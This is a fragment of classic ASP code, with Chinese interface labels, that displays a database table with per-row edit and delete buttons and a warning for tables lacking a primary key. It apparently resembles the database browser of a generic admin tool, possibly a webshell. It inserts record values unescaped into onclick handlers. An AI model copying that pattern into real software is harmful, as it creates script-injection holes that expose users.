|
||
<table border=1 align=left cellpadding=0 cellspacing=0>
|
||
<tr>
|
||
<%
|
||
O "<td height=22 class=trHead colspan="&rs.Fields.Count+1&"> </td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td height=22 class=td width=100 align=center>操作</td>
|
||
<%
|
||
For j=0 To rs.Fields.Count - 1
|
||
O "<td height=22 class=td width=130><span class=fixSpan title='"&rs.Fields(j).Name&"' style='width:125px;padding-left:5px;'>"&rs.Fields(j).Name&"</span></td>"
|
||
Next
|
||
For i=1 To rs.PageSize
|
||
If rs.Eof Then Exit For
|
||
%>
|
||
</tr>
|
||
<tr valign=top>
|
||
<td height=22 align=center>
|
||
<%
|
||
If sPrimaKey<>"" Then
|
||
O "<input type=button value=编辑 title='编辑/添加' onclick=showSqlEdit('"&sPrimaKey&"','"&rs(sPrimaKey)&"');>"
|
||
O "<input type=button value=删除 onclick=sqlDelete('"&sPrimaKey&"','"&rs(sPrimaKey)&"');></td>"
|
||
Else
|
||
O "<input type=button value=编辑 title='编辑/添加' onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('"&rs.Fields(0).Name&"','"&rs(rs.Fields(0).Name)&"');>"
|
||
O "<input type=button value=删除 onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('"&rs.Fields(0).Name&"','"&rs(rs.Fields(0).Name)&"');></td>"
|
||
End If
|
||
For j=0 To rs.Fields.Count - 1
|
||
O "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>"&C(Y(Len(rs(j))>50,Left(rs(j),50),rs(j)))&"</span></td>
|